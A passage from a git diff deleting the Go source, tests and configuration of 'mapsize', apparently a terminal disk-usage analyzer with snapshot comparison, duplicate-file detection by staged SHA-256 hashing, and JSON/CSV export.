-github.com/charmbracelet/colorprofile v0.4.3/go.mod h1:/zT4BhpD5aGFpqQQqw7a+VtHCzu+zrQtt1zhMt9mR4Q= -github.com/charmbracelet/ultraviolet v0.0.0-20260703014108-f5a850f9c2b7 h1:3FmWoGNWK4STvqg0O0Aeav2T7rodWJAPeF0QpH+8gFw= -github.com/charmbracelet/ultraviolet v0.0.0-20260703014108-f5a850f9c2b7/go.mod h1:f/jRa757WUmaOZrbPspXymbg/GnbF+rwe4OLsG7aXYo= -github.com/charmbracelet/x/ansi v0.11.8 h1:JMFwp0CgDC2+jcOB162HH5k7I3FVbgFSMMYg7dSPBQQ= -github.com/charmbracelet/x/ansi v0.11.8/go.mod h1:ZNN+3mXny/516oTQPLMPIBeSINvNJJQ8uQXDgbeJxY0= -github.com/charmbracelet/x/term v0.2.2 h1:xVRT/S2ZcKdhhOuSP4t5cLi5o+JxklsoEObBSgfgZRk= -github.com/charmbracelet/x/term v0.2.2/go.mod h1:kF8CY5RddLWrsgVwpw4kAa6TESp6EB5y3uxGLeCqzAI= -github.com/charmbracelet/x/termios v0.1.1 h1:o3Q2bT8eqzGnGPOYheoYS8eEleT5ZVNYNy8JawjaNZY= -github.com/charmbracelet/x/termios v0.1.1/go.mod h1:rB7fnv1TgOPOyyKRJ9o+AsTU/vK5WHJ2ivHeut/Pcwo= -github.com/charmbracelet/x/windows v0.2.2 h1:IofanmuvaxnKHuV04sC0eBy/smG6kIKrWG2/jYn2GuM= -github.com/charmbracelet/x/windows v0.2.2/go.mod h1:/8XtdKZzedat74NQFn0NGlGL4soHB0YQZrETF96h75k= -github.com/clipperhouse/displaywidth v0.11.0 h1:lBc6kY44VFw+TDx4I8opi/EtL9m20WSEFgwIwO+UVM8= -github.com/clipperhouse/displaywidth v0.11.0/go.mod h1:bkrFNkf81G8HyVqmKGxsPufD3JhNl3dSqnGhOoSD/o0= -github.com/clipperhouse/uax29/v2 v2.7.0 h1:+gs4oBZ2gPfVrKPthwbMzWZDaAFPGYK72F0NJv2v7Vk= -github.com/clipperhouse/uax29/v2 v2.7.0/go.mod h1:EFJ2TJMRUaplDxHKj1qAEhCtQPW2tJSwu5BF98AuoVM= -github.com/lucasb-eyer/go-colorful v1.4.0 h1:UtrWVfLdarDgc44HcS7pYloGHJUjHV/4FwW4TvVgFr4= -github.com/lucasb-eyer/go-colorful v1.4.0/go.mod h1:R4dSotOR9KMtayYi1e77YzuveK+i7ruzyGqttikkLy0= -github.com/mattn/go-runewidth v0.0.24 h1:cpokDiIn0MGnhdHwuWnJBITySJ20QyNGnY2kR/ay2DU= -github.com/mattn/go-runewidth v0.0.24/go.mod h1:XBkDxAl56ILZc9knddidhrOlY5R/pDhgLpndooCuJAs= -github.com/muesli/cancelreader v0.2.2 h1:3I4Kt4BQjOR54NavqnDogx/MIoWBFa0StPA8ELUXHmA= -github.com/muesli/cancelreader v0.2.2/go.mod h1:3XuTXfFS2VjM+HTLZY9Ak0l6eUKfijIfMUZ4EgX0QYo= -github.com/rivo/uniseg v0.4.7 h1:WUdvkW8uEhrYfLC4ZzdpI2ztxP1I582+49Oc5Mq64VQ= -github.com/rivo/uniseg v0.4.7/go.mod h1:FN3SvrM+Zdj16jyLfmOkMNblXMcoc8DfTHruCPUcx88= -github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e h1:JVG44RsyaB9T2KIHavMF/ppJZNG9ZpyihvCd0w101no= -github.com/xo/terminfo v0.0.0-20220910002029-abceb7e1c41e/go.mod h1:RbqR21r5mrJuqunuUZ/Dhy/avygyECGrLceyNeo4LiM= -golang.org/x/sync v0.21.0 h1:HLII4xRRTtCRkxYp4HNFF0Js/Og6q2i++KXbg0gHCwM= -golang.org/x/sync v0.21.0/go.mod h1:9xrNwdLfx4jkKbNva9FpL6vEN7evnE43NNNJQ2LF3+0= -golang.org/x/sys v0.48.0 h1:bbX/i/6MgT9BVLM9RT1thmxL04yeTAhbEz4SyadbXoo= -golang.org/x/sys v0.48.0/go.mod h1:hNLxWAXmnKAxqDtdwIYC4bM9oQPEecfsnNMuSxOs3og= diff --git a/internal/app/app.go b/internal/app/app.go deleted file mode 100644 index b6b077e..0000000 --- a/internal/app/app.go +++ /dev/null @@ -1,171 +0,0 @@ -// Package app wires the command-line modes together: interactive TUI, -// non-interactive reports, snapshots and comparisons. TUI and CLI share the -// same scanner and inventory packages. -package app - -import ( - "context" - "fmt" - "io" - "log/slog" - "os" - "os/signal" - "time" - - "github.com/andydixon/mapsize/internal/config" - "github.com/andydixon/mapsize/internal/export" - "github.com/andydixon/mapsize/internal/inventory" - "github.com/andydixon/mapsize/internal/scan" - "github.com/andydixon/mapsize/internal/textutil" -) - -// Config is the fully-resolved command line. -type Config struct { - Paths []string - ScanOpts scan.Options - NoUI bool - JSON, CSV bool - Depth int - Top int - LargestFiles int - Save string - Load string - Compare [2]string - Duplicates bool - ReadOnly bool - Theme string - SizeMode inventory.SizeMode - Mouse bool - Color string - Settings config.Settings - Stdout io.Writer - Stderr io.Writer -} - -// Report reports whether any non-interactive output was requested. -func (c *Config) Report() bool { - return c.NoUI || c.JSON || c.CSV || c.Top > 0 || c.LargestFiles > 0 || c.Duplicates -} - -// Run executes the configured mode. -func Run(cfg *Config) error { - if cfg.Stdout == nil { - cfg.Stdout = os.Stdout - } - if cfg.Stderr == nil { - cfg.Stderr = os.Stderr - } - if cfg.Compare[0] != "" { - return runCompare(cfg) - } - if !cfg.Report() { - return runTUI(cfg) - } - return runReport(cfg) -} - -// startSource begins a scan (or loads a snapshot). The scanner is nil when -// the tree came from a snapshot. -func startSource(ctx context.Context, cfg *Config) (*scan.Scanner, *inventory.Tree, error) { - if cfg.Load != "" { - t, err := loadSnapshot(cfg.Load) - return nil, t, err - } - root := "." - if len(cfg.Paths) > 0 { - root = cfg.Paths[0] - } - slog.Info("scan start", "workers", cfg.ScanOpts.Workers, "follow", cfg.ScanOpts.Follow.String()) - s, err := scan.Start(ctx, root, cfg.ScanOpts) - if err != nil { - return nil, nil, err - } - return s, s.Tree, nil -} - -func runReport(cfg *Config) error { - ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt) - defer stop() - s, t, err := startSource(ctx, cfg) - if err != nil { - return err - } - if s != nil { - waitWithProgress(s, cfg.Stderr) - } - if cfg.Duplicates && !cfg.JSON && !cfg.CSV { - // Find takes its own read lock; never nest RLock. - if err := runDuplicates(ctx, cfg, t); err != nil { - return err - } - } - t.RLock() - defer t.RUnlock() - if s != nil && cfg.Save != "" { - if err := saveSnapshot(t, cfg.Save); err != nil { - return err - } - fmt.Fprintf(cfg.Stderr, "Saved snapshot %s\n", cfg.Save) - } - out := cfg.Stdout - switch { - case cfg.JSON: - return export.JSON(out, t, t.Root(), cfg.Depth) - case cfg.CSV: - return export.CSV(out, t, t.Root(), cfg.Depth) - } - if cfg.Top > 0 { - ids := t.SortedChildren(t.Root(), cfg.SizeMode) - if len(ids) > cfg.Top { - ids = ids[:cfg.Top] - } - export.Table(out, t, ids, cfg.SizeMode) - fmt.Fprintln(out) - } - if cfg.LargestFiles > 0 { - ids := t.Top(t.Root(), cfg.LargestFiles, - func(n *inventory.Node) bool { - return n.Kind == inventory.KindFile && n.Flags&inventory.FlagHardlinkDup == 0 - }, - func(n *inventory.Node) int64 { return n.Own(cfg.SizeMode) }) - export.Table(out, t, ids, cfg.SizeMode) - fmt.Fprintln(out) - } - export.Summary(out, t) - return nil -} - -// waitWithProgress blocks until the scan finishes, printing a progress line -// to w if it is a terminal. -func waitWithProgress(s *scan.Scanner, w io.Writer) { - tty := isTerminal(w) - tick := time.NewTicker(250 * time.Millisecond) - defer tick.Stop() - start := time.Now() - for { - select { - case <-s.Done(): - if tty { - fmt.Fprint(w, "\r\033[K") - } - return - case <-tick.C: - if tty { - p := s.Progress() - el := time.Since(start) - fmt.Fprintf(w, "\r\033[Kscanning… %s entries %s/s queue %d %s", - textutil.Count(p.Entries), textutil.Count(int64(float64(p.Entries)/el.Seconds())), - p.Pending, textutil.Duration(el)) - } - } - } -} - -func isTerminal(w io.Writer) bool { - f, ok := w.(*os.File) - if !ok { - return false - } - fi, err := f.Stat() - return err == nil && fi.Mode()&os.ModeCharDevice != 0 -} diff --git a/internal/app/app_test.go b/internal/app/app_test.go deleted file mode 100644 index 5bf8d13..0000000 --- a/internal/app/app_test.go +++ /dev/null @@ -1,105 +0,0 @@ -package app - -import ( - "bytes" - "encoding/csv" - "encoding/json" - "os" - "path/filepath" - "strings" - "testing" - - "github.com/andydixon/mapsize/internal/scan" -) - -func fixture(t *testing.T) string { - root := t.TempDir() - os.MkdirAll(filepath.Join(root, "big"), 0o755) - os.MkdirAll(filepath.Join(root, "small"), 0o755) - os.WriteFile(filepath.Join(root, "big", "a.iso"), make([]byte, 300_000), 0o644) - os.WriteFile(filepath.Join(root, "big", "b.iso"), make([]byte, 300_000), 0o644) - os.WriteFile(filepath.Join(root, "small", "c.txt"), []byte("hello"), 0o644) - return root -} - -func run(t *testing.T, cfg *Config) string { - t.Helper() - var out bytes.Buffer - cfg.Stdout, cfg.Stderr = &out, &bytes.Buffer{} - cfg.ScanOpts = scan.Options{Workers: 2} - if err := Run(cfg); err != nil { - t.Fatalf("Run: %v", err) - } - return out.String() -} - -func TestTopAndLargest(t *testing.T) { - root := fixture(t) - out := run(t, &Config{Paths: []string{root}, Top: 5, LargestFiles: 2}) - if !strings.Contains(out, filepath.Join(root, "big")) || !strings.Contains(out, "a.iso") { - t.Fatalf("report missing entries:\n%s", out) - } - if strings.Index(out, filepath.Join(root, "big")) > strings.Index(out, filepath.Join(root, "small")) { - t.Fatalf("not sorted by size:\n%s", out) - } -} - -func TestJSONIsValid(t *testing.T) { - root := fixture(t) - out := run(t, &Config{Paths: []string{root}, JSON: true, Depth: -1}) - var v struct { - Root string - Complete bool - Tree struct { - Size int64 - Children []struct{ Name string } - } - } - if err := json.Unmarshal([]byte(out), &v); err != nil { - t.Fatalf("invalid JSON: %v\n%s", err, out) - } - if !v.Complete || v.Tree.Size < 600_005 || len(v.Tree.Children) != 2 { - t.Fatalf("unexpected JSON: %+v", v) - } -} - -func TestCSV(t *testing.T) { - root := fixture(t) - out := run(t, &Config{Paths: []string{root}, CSV: true, Depth: -1}) - rows, err := csv.NewReader(strings.NewReader(out)).ReadAll() - if err != nil { - t.Fatal(err) - } - if len(rows) != 1+1+2+3 { // header, root, 2 dirs, 3 files - t.Fatalf("%d rows:\n%s", len(rows), out) - } -} - -func TestSnapshotSaveLoadCompare(t *testing.T) { - root := fixture(t) - dir := t.TempDir() - a, b := filepath.Join(dir, "a.msz"), filepath.Join(dir, "b.msz") - run(t, &Config{Paths: []string{root}, NoUI: true, Save: a}) - os.WriteFile(filepath.Join(root, "small", "grown.bin"), make([]byte, 500_000), 0o644) - os.Remove(filepath.Join(root, "big", "b.iso")) - run(t, &Config{Paths: []string{root}, NoUI: true, Save: b}) - - out := run(t, &Config{Load: a, Top: 3}) - if !strings.Contains(out, "big") { - t.Fatalf("loaded snapshot report:\n%s", out) - } - out = run(t, &Config{Compare: [2]string{a, b}, NoUI: true}) - for _, want := range []string{"new", "grown.bin", "removed", "b.iso"} { - if !strings.Contains(out, want) { - t.Fatalf("compare output missing %q:\n%s", want, out) - } - } -} - -func TestDuplicatesReport(t *testing.T) { - root := fixture(t) - out := run(t, &Config{Paths: []string{root}, Duplicates: true}) - if !strings.Contains(out, "1 verified duplicate groups") { - t.Fatalf("duplicates:\n%s", out) - } -} diff --git a/internal/app/modes.go b/internal/app/modes.go deleted file mode 100644 index 120f471..0000000 --- a/internal/app/modes.go +++ /dev/null @@ -1,80 +0,0 @@ -package app - -import ( - "context" - "fmt" - - "github.com/andydixon/mapsize/internal/duplicate" - "github.com/andydixon/mapsize/internal/inventory" - "github.com/andydixon/mapsize/internal/scan" - "github.com/andydixon/mapsize/internal/snapshot" - "github.com/andydixon/mapsize/internal/textutil" - "github.com/andydixon/mapsize/internal/tui" -) - -func runTUI(cfg *Config) error { - return tui.Run(tui.Options{ - ReadOnly: cfg.ReadOnly, Theme: cfg.Theme, SizeMode: cfg.SizeMode, Mouse: cfg.Mouse, Color: cfg.Color, - Save: cfg.Save, Settings: cfg.Settings, - Start: func(ctx context.Context) (*scan.Scanner, *inventory.Tree, error) { return startSource(ctx, cfg) }, - }) -} - -func loadSnapshot(path string) (*inventory.Tree, error) { return snapshot.LoadFile(path) } - -func saveSnapshot(t *inventory.Tree, path string) error { return snapshot.SaveFile(path, t) } - -func runCompare(cfg *Config) error { - old, err := snapshot.LoadFile(cfg.Compare[0]) - if err != nil { - return fmt.Errorf("%s: %w", cfg.Compare[0], err) - } - nw, err := snapshot.LoadFile(cfg.Compare[1]) - if err != nil { - return fmt.Errorf("%s: %w", cfg.Compare[1], err) - } - d := snapshot.Compare(old, nw) - if !cfg.Report() { - return tui.Run(tui.Options{ - ReadOnly: true, Theme: cfg.Theme, SizeMode: cfg.SizeMode, Mouse: cfg.Mouse, Color: cfg.Color, - Settings: cfg.Settings, Diff: d, - Start: func(context.Context) (*scan.Scanner, *inventory.Tree, error) { return nil, nw, nil }, - }) - } - k := cfg.Top - if k <= 0 { - k = 30 - } - out := cfg.Stdout - ro, rn := old.Node(0), nw.Node(0) - fmt.Fprintf(out, "%s → %s\n", textutil.Sanitize(old.Stats.FromSnapshot), textutil.Sanitize(nw.Stats.FromSnapshot)) - fmt.Fprintf(out, "Total %s → %s (%s)\n\n", textutil.Size(ro.Total(cfg.SizeMode)), textutil.Size(rn.Total(cfg.SizeMode)), - textutil.SignedSize(rn.Total(cfg.SizeMode)-ro.Total(cfg.SizeMode))) - for _, c := range d.Changes(k, cfg.SizeMode) { - fmt.Fprintf(out, "%-10s %14s %s\n", c.Status, textutil.SignedSize(c.Delta), textutil.Sanitize(c.Path)) - } - return nil -} - -func runDuplicates(ctx context.Context, cfg *Config, t *inventory.Tree) error { - var f duplicate.Finder - groups, err := f.Find(ctx, t, duplicate.Options{MinSize: 1}) - if err != nil { - return err - } - out := cfg.Stdout - var wasted int64 - t.RLock() - defer t.RUnlock() - for _, g := range groups { - wasted += g.Wasted() - fmt.Fprintf(out, "%s × %d (sha256 %x…)\n", textutil.Size(g.Size), len(g.Files), g.Hash[:6]) - for _, id := range g.Files { - fmt.Fprintf(out, " %s\n", textutil.Sanitize(t.Path(id))) - } - } - p := f.Progress() - fmt.Fprintf(out, "\n%d verified duplicate groups, %s reclaimable (%d candidates by size, %d unreadable/changed)\n\n", - len(groups), textutil.Size(wasted), p.Candidates, p.Skipped) - return nil -} diff --git a/internal/brand/brand.go b/internal/brand/brand.go deleted file mode 100644 index 6a5c54c..0000000 --- a/internal/brand/brand.go +++ /dev/null @@ -1,11 +0,0 @@ -// Package brand isolates the product name so it can be changed in one place. -package brand - -const ( - Name = "mapsize" - SnapshotExt = ".msz" - SnapshotMagic = "MAPSIZE\x00" -) - -// Version is stamped at release time via -ldflags -X. -var Version = "1.2.0" diff --git a/internal/config/config.go b/internal/config/config.go deleted file mode 100644 index b6bd6a6..0000000 --- a/internal/config/config.go +++ /dev/null @@ -1,72 +0,0 @@ -// Package config loads user settings from a JSON file in the OS-specific -// user configuration directory. It knows nothing about rendering. -package config - -import ( - "encoding/json" - "errors" - "io/fs" - "os" - "path/filepath" - - "github.com/andydixon/mapsize/internal/brand" -) - -// Settings are user preferences. Zero values are never used directly; Load -// starts from Defaults and overlays the file. -type Settings struct { - Workers string `json:"workers"` // conservative|balanced|aggressive|N - FollowSymlinks string `json:"follow_symlinks"` // none|same-filesystem|all - OneFileSystem bool `json:"one_file_system"` - Units string `json:"units"` // iec|si - SizeMode string `json:"size_mode"` // allocated|logical - Theme string `json:"theme"` - Mouse bool `json:"mouse"` - Excludes []string `json:"excludes"` - // ExtensionColors maps an extension (without dot) to "#rrggbb". - ExtensionColors map[string]string `json:"extension_colors"` - // CategoryColors maps a category name to "#rrggbb". - CategoryColors map[string]string `json:"category_colors"` - // RefreshHz is the UI refresh rate while scanning. - RefreshHz int `json:"refresh_hz"` -} - -// Defaults returns the built-in settings. -func Defaults() Settings { - return Settings{ - Workers: "balanced", FollowSymlinks: "none", Units: "iec", SizeMode: "allocated", - Theme: "default", Mouse: true, RefreshHz: 10, - } -} - -// Path returns the config file location. -func Path() (string, error) { - dir, err := os.UserConfigDir() - if err != nil { - return "", err - } - return filepath.Join(dir, brand.Name, "config.json"), nil -} - -// Load reads the config file if present. A missing file is not an error. -func Load() (Settings, error) { - s := Defaults() - p, err := Path() - if err != nil { - return s, nil - } - b, err := os.ReadFile(p) - if errors.Is(err, fs.ErrNotExist) { - return s, nil - } - if err != nil { - return s, err - } - if err := json.Unmarshal(b, &s); err != nil { - return Defaults(), err - } - if s.RefreshHz < 1 || s.RefreshHz > 60 { - s.RefreshHz = 10 - } - return s, nil -} diff --git a/internal/duplicate/duplicate.go b/internal/duplicate/duplicate.go deleted file mode 100644 index a7ad4fe..0000000 --- a/internal/duplicate/duplicate.go +++ /dev/null @@ -1,286 +0,0 @@ -// Package duplicate finds files with identical content in stages: -// -// 1. group by exact size (inventory only, no I/O) -// 2. hash three 16 KiB samples (start, middle, end) of each candidate -// 3. full SHA-256 of files whose samples still collide -// -// Only stage 3 establishes identity. Files are never declared duplicates by -// name or size alone. Reading files may update their access times. -package duplicate - -import ( - "context" - "crypto/sha256" - "io" - "os" - "sort" - "sync" - "sync/atomic" - - "github.com/andydixon/mapsize/internal/inventory" - "github.com/andydixon/mapsize/internal/platform" -) - -// Group is a set of files verified to have identical content. -type Group struct { - Size int64 - Hash [32]byte - Files []inventory.NodeID -} - -// Wasted returns the bytes reclaimable by keeping one copy. -func (g *Group) Wasted() int64 { return g.Size * int64(len(g.Files)-1) } - -// Progress reports activity. -type Progress struct { - Stage string - Candidates int64 // files sharing a size with another file - BytesToHash int64 - BytesHashed int64 - Skipped int64 // unreadable or changed during hashing - VerifiedGroups int64 - CandidateGroups int64 -} - -// Options tunes the search. -type Options struct { - MinSize int64 // ignore files smaller than this (default 1 byte) - Workers int // concurrent readers (default 4) -} - -type cand struct { - id inventory.NodeID - path string - size int64 -} - -const sampleSize = 16 << 10 - -// Finder runs a search and exposes live progress. -type Finder struct { - hashed, toHash, skipped atomic.Int64 - mu sync.Mutex - p Progress -} - -// Progress returns a copy of the current progress. -func (f *Finder) Progress() Progress { - f.mu.Lock() - p := f.p - f.mu.Unlock() - p.BytesHashed, p.BytesToHash, p.Skipped = f.hashed.Load(), f.toHash.Load(), f.skipped.Load() - return p -} - -func (f *Finder) stage(s string, fn func(*Progress)) { - f.mu.Lock() - f.p.Stage = s - if fn != nil { - fn(&f.p) - } - f.mu.Unlock() -} - -// Find searches t (read-locked internally only while collecting candidates). -func (f *Finder) Find(ctx context.Context, t *inventory.Tree, o Options) ([]Group, error) { - if o.MinSize < 1 { - o.MinSize = 1 - } - if o.Workers < 1 { - o.Workers = 4 - } - f.stage("grouping by size", nil) - bySize := map[int64][]cand{} - t.RLock() - t.Walk(t.Root(), func(id inventory.NodeID, n *inventory.Node) bool { - if n.Kind == inventory.KindFile && n.Flags&inventory.FlagHardlinkDup == 0 && n.Size >= o.MinSize { - bySize[n.Size] = append(bySize[n.Size], cand{id: id, size: n.Size}) - } - return true - }) - var groups [][]cand - var ncand int64 - for _, g := range bySize { - if len(g) > 1 { - for i := range g { - g[i].path = t.Path(g[i].id) - } - groups = append(groups, g) - ncand += int64(len(g)) - } - } - t.RUnlock() - f.stage("sampling", func(p *Progress) { p.Candidates = ncand; p.CandidateGroups = int64(len(groups)) }) - - // Stage 2: sample hashes. - var sampled [][]cand - for _, g := range groups { - if ctx.Err() != nil { - return nil, ctx.Err() - } - if g[0].size <= 3*sampleSize { - sampled = append(sampled, g) // a sample would be the whole file - continue - } - sampled = append(sampled, f.split(ctx, g, o.Workers, sampleHash)...) - } - - // Stage 3: full hashes. - var total int64 - for _, g := range sampled { - total += g[0].size * int64(len(g)) - } - f.toHash.Store(total) - f.stage("hashing", nil) - var out []Group - for _, g := range sampled { - if ctx.Err() != nil { - return nil, ctx.Err() - } - for _, sub := range f.splitHash(ctx, g, o.Workers) { - grp := Group{Size: sub.size, Hash: sub.hash} - for _, c := range sub.files { - grp.Files = append(grp.Files, c.id) - } - out = append(out, grp) - } - } - sort.Slice(out, func(i, j int) bool { - if a, b := out[i].Wasted(), out[j].Wasted(); a != b { - return a > b - } - return out[i].Files[0] < out[j].Files[0] - }) - f.stage("done", func(p *Progress) { p.VerifiedGroups = int64(len(out)) }) - return out, ctx.Err() -} - -type hashed struct { - c cand - sum [32]byte - ok bool -} - -// hashAll hashes every candidate with a bounded worker pool. -func (f *Finder) hashAll(ctx context.Context, g []cand, workers int, fn func(*Finder, cand) ([32]byte, bool)) []hashed { - res := make([]hashed, len(g)) - var wg sync.WaitGroup - sem := make(chan struct{}, workers) - for i, c := range g { - if ctx.Err() != nil { - break - } - sem <- struct{}{} - wg.Add(1) - go func() { - defer wg.Done() - defer func() { <-sem }() - sum, ok := fn(f, c) - if !ok { - f.skipped.Add(1) - } - res[i] = hashed{c, sum, ok} - }() - } - wg.Wait() - return res -} - -func (f *Finder) split(ctx context.Context, g []cand, workers int, fn func(*Finder, cand) ([32]byte, bool)) [][]cand { - by := map[[32]byte][]cand{} - for _, h := range f.hashAll(ctx, g, workers, fn) { - if h.ok { - by[h.sum] = append(by[h.sum], h.c) - } - } - var out [][]cand - for _, v := range by { - if len(v) > 1 { - out = append(out, v) - } - } - return out -} - -type fullGroup struct { - size int64 - hash [32]byte - files []cand -} - -func (f *Finder) splitHash(ctx context.Context, g []cand, workers int) []fullGroup { - by := map[[32]byte][]cand{} - for _, h := range f.hashAll(ctx, g, workers, fullHash) { - if h.ok { - by[h.sum] = append(by[h.sum], h.c) - } - } - var out []fullGroup - for sum, v := range by { - if len(v) > 1 { - sort.Slice(v, func(i, j int) bool { return v[i].id < v[j].id }) - out = append(out, fullGroup{size: v[0].size, hash: sum, files: v}) - } - } - return out -} - -// open opens a candidate and checks it still has the inventoried size. -func open(c cand) (*os.File, bool) { - fh, err := platform.OpenContent(c.path) - if err != nil { - return nil, false - } - fi, err := fh.Stat() - if err != nil || !fi.Mode().IsRegular() || fi.Size() != c.size { - fh.Close() - return nil, false - } - return fh, true -} - -func sampleHash(_ *Finder, c cand) ([32]byte, bool) { - fh, ok := open(c) - if !ok { - return [32]byte{}, false - } - defer fh.Close() - h := sha256.New() - buf := make([]byte, sampleSize) - for _, off := range []int64{0, c.size/2 - sampleSize/2, c.size - sampleSize} { - if _, err := fh.ReadAt(buf, off); err != nil && err != io.EOF { - return [32]byte{}, false - } - h.Write(buf) - } - var s [32]byte - h.Sum(s[:0]) - return s, true -} - -func fullHash(f *Finder, c cand) ([32]byte, bool) { - fh, ok := open(c) - if !ok { - return [32]byte{}, false - } - defer fh.Close() - h := sha256.New() - n, err := io.Copy(h, &countingReader{fh, &f.hashed}) - if err != nil || n != c.size { - return [32]byte{}, false - } - var s [32]byte - h.Sum(s[:0]) - return s, true -} - -type countingReader struct { - r io.Reader - n *atomic.Int64 -} - -func (c *countingReader) Read(p []byte) (int, error) { - n, err := c.r.Read(p) - c.n.Add(int64(n)) - return n, err -} diff --git a/internal/duplicate/duplicate_test.go b/internal/duplicate/duplicate_test.go deleted file mode 100644 index 9f2dd3b..0000000 --- a/internal/duplicate/duplicate_test.go +++ /dev/null @@ -1,61 +0,0 @@ -package duplicate - -import ( - "context" - "os" - "path/filepath" - "testing" - - "github.com/andydixon/mapsize/internal/scan" -) - -func TestFind(t *testing.T) { - root := t.TempDir() - big := make([]byte, 200_000) - for i := range big { - big[i] = byte(i * 7) - } - w := func(name string, b []byte) { - if err := os.WriteFile(filepath.Join(root, name), b, 0o644); err != nil { - t.Fatal(err) - } - } - w("a.bin", big) - w("b.bin", big) - // Same size, same samples, different middle-of-nowhere byte: must not match. - c := append([]byte(nil), big...) - c[20_000] ^= 1 - w("c.bin", c) - w("small1", []byte("hello")) - w("small2", []byte("hello")) - w("small3", []byte("world")) // same size, different content - - s, err := scan.Start(context.Background(), root, scan.Options{Workers: 2}) - if err != nil { - t.Fatal(err) - } - <-s.Done() - var f Finder - groups, err := f.Find(context.Background(), s.Tree, Options{}) - if err != nil { - t.Fatal(err) - } - if len(groups) != 2 { - t.Fatalf("groups=%d want 2", len(groups)) - } - names := func(g Group) (out []string) { - for _, id := range g.Files { - out = append(out, s.Tree.Node(id).Name) - } - return - } - if g := names(groups[0]); len(g) != 2 || groups[0].Size != 200_000 { - t.Fatalf("big group %v", g) - } - if g := names(groups[1]); len(g) != 2 { - t.Fatalf("small group %v", g) - } - if p := f.Progress(); p.Candidates != 6 || p.VerifiedGroups != 2 { - t.Fatalf("progress %+v", p) - } -} diff --git a/internal/duplicate/fifo_unix_test.go b/internal/duplicate/fifo_unix_test.go deleted file mode 100644 index fd5b515..0000000 --- a/internal/duplicate/fifo_unix_test.go +++ /dev/null @@ -1,51 +0,0 @@ -//go:build unix - -package duplicate - -import ( - "context" - "os" - "path/filepath" - "syscall" - "testing" - "time" - - "github.com/andydixon/mapsize/internal/scan" -) - -// A candidate replaced by a FIFO (or a symlink to one) after the scan must -// be skipped, not block the search forever in open(2). -func TestFindSkipsSwappedFIFO(t *testing.T) { - root := t.TempDir() - for _, n := range []string{"a", "b", "c"} { - os.WriteFile(filepath.Join(root, n), []byte("same"), 0o644) - } - s, err := scan.Start(context.Background(), root, scan.Options{Workers: 1}) - if err != nil { - t.Fatal(err) - } - <-s.Done() - os.Remove(filepath.Join(root, "b")) - if err := syscall.Mkfifo(filepath.Join(root, "b"), 0o644); err != nil { - t.Skip("mkfifo:", err) - } - fifo2 := filepath.Join(t.TempDir(), "p") - syscall.Mkfifo(fifo2, 0o644) - os.Remove(filepath.Join(root, "c")) - os.Symlink(fifo2, filepath.Join(root, "c")) - - done := make(chan error, 1) - var f Finder - go func() { _, err := f.Find(context.Background(), s.Tree, Options{}); done <- err }() - select { - case err := <-done: - if err != nil { - t.Fatal(err) - } - case <-time.After(5 * time.Second): - t.Fatal("duplicate search blocked on a FIFO") - } - if p := f.Progress(); p.Skipped != 2 { - t.Fatalf("skipped=%d want 2", p.Skipped) - } -} diff --git a/internal/export/export.go b/internal/export/export.go deleted file mode 100644 index 4d8dd3e..0000000 --- a/internal/export/export.go +++ /dev/null @@ -1,221 +0,0 @@ -// Package export writes inventories as JSON, CSV or plain-text reports. -// Callers must hold the tree's read lock (or own the tree exclusively). -package export - -import ( - "bufio" - "encoding/csv" - "encoding/json" - "fmt" - "io" - "path/filepath" - "strconv" - "strings" - "time" - - "github.com/andydixon/mapsize/internal/brand" - "github.com/andydixon/mapsize/internal/inventory" - "github.com/andydixon/mapsize/internal/textutil" -) - -type jsonNode struct { - Name string `json:"name"` - Type string `json:"type"` - Size int64 `json:"size"` - Allocated int64 `json:"allocated"` - Files uint32 `json:"files,omitempty"` - Dirs uint32 `json:"dirs,omitempty"` - Errors uint32 `json:"errors,omitempty"` - Modified string `json:"modified,omitempty"` - Flags []string `json:"flags,omitempty"` - Children []*jsonNode `json:"children,omitempty"` -} - -var flagNames = []struct { - f inventory.Flags - n string -}{ - {inventory.FlagHardlinkDup, "hardlink-duplicate"}, {inventory.FlagMountPoint, "mount-point"}, - {inventory.FlagVirtualFS, "virtual-fs-skipped"}, {inventory.FlagSkippedFS, "other-fs-skipped"}, - {inventory.FlagSparse, "sparse"}, {inventory.FlagError, "error"}, {inventory.FlagIncomplete, "incomplete"}, - {inventory.FlagLoop, "loop-skipped"}, {inventory.FlagFollowed, "followed-symlink"}, - {inventory.FlagAllocUnknown, "allocated-unknown"}, {inventory.FlagBrokenLink, "broken-symlink"}, - {inventory.FlagHardlinked, "hardlinked"}, -} - -// FlagList returns human-readable names for a node's flags. -func FlagList(f inventory.Flags) []string { - var out []string - for _, fn := range flagNames { - if f&fn.f != 0 { - out = append(out, fn.n) - } - } - return out -} - -// JSON writes the tree beneath root as nested JSON, down to maxDepth levels -// (maxDepth < 0 means unlimited). -func JSON(w io.Writer, t *inventory.Tree, root inventory.NodeID, maxDepth int) error { - bw := bufio.NewWriter(w) - st := &t.Stats - head := map[string]any{ - "generator": brand.Name + " " + brand.Version, - "root": t.Path(root), - "complete": !st.Incomplete(), - "cancelled": st.Cancelled, - "started": st.Start.Format(time.RFC3339), - "elapsed_s": st.Elapsed().Seconds(), - "errors": errorCounts(st), - "excluded": st.Excluded, - "excludes": st.Excludes, - "hardlink_duplicates": st.HardlinkDups, - } - hb, err := json.Marshal(head) - if err != nil { - return err - } - bw.Write(hb[:len(hb)-1]) - bw.WriteString(`,"tree":`) - if err := writeNode(bw, t, root, maxDepth); err != nil { - return err - } - bw.WriteString("}\n") - return bw.Flush() -} - -func errorCounts(st *inventory.Stats) map[string]int64 { - m := map[string]int64{} - for k, c := range st.ErrCounts { - if c > 0 { - m[inventory.ErrKind(k).String()] = c - } - } - return m -} - -// writeNode streams one node; children are written recursively so memory -// stays proportional to depth, not tree size. -func writeNode(bw *bufio.Writer, t *inventory.Tree, id inventory.NodeID, depth int) error { - n := t.Node(id) - jn := jsonNode{Name: n.Name, Type: kindName(n.Kind), Size: n.TotSize, Allocated: n.TotAlloc, - Files: n.Files, Dirs: n.Dirs, Errors: n.Errors, Flags: FlagList(n.Flags)} - if n.MTime != 0 { - jn.Modified = time.Unix(0, n.MTime).UTC().Format(time.RFC3339) - } - b, err := json.Marshal(jn) - if err != nil { - return err - } - if n.FirstChild == inventory.NoNode || depth == 0 { - _, err = bw.Write(b) - return err - } - bw.Write(b[:len(b)-1]) - bw.WriteString(`,"children":[`) - first := true - for _, c := range t.SortedChildren(id, inventory.SizeAllocated) { - if !first { - bw.WriteByte(',') - } - first = false - if err 